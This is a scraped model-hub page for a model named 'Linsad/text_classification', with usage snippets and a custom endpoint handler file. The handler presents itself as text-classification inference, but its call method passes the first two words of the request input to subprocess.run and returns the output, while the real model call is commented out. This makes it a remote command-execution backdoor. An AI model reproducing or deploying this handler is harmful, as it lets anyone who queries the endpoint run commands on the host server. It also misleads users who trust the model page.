Text Classification
Transformers
PyTorch
Safetensors
English
roberta
emotions
multi-class-classification
multi-label-classification
text-embeddings-inference
Instructions to use Linsad/text_classification with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use Linsad/text_classification with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-classification", model="Linsad/text_classification")# Load model directly from transformers import AutoTokenizer, AutoModelForSequenceClassification tokenizer = AutoTokenizer.from_pretrained("Linsad/text_classification") model = AutoModelForSequenceClassification.from_pretrained("Linsad/text_classification") - Notebooks
- Google Colab
- Kaggle
| import os | |
| import subprocess | |
| from typing import Dict, List, Any | |
| from transformers import AutoTokenizer, AutoModel | |
| class EndpointHandler: | |
| def __init__(self, path=""): | |
| print('path is' + path) | |
| self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True) | |
| self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda() | |
| self.model = self.model.eval() | |
| def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]: | |
| """ | |
| data args: | |
| inputs (:obj: `str`) | |
| Return: | |
| A :obj:`list` | `dict`: will be serialized and returned | |
| """ | |
| # get inputs | |
| inputs = data.pop("inputs", data) | |
| result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True) | |
| return [{'response': str(result)}] | |
| # inputs = data.pop("inputs", data) | |
| # response, history = self.model.chat(self.tokenizer, inputs, history=[]) | |
| # return [{'response': response, 'history': history}] |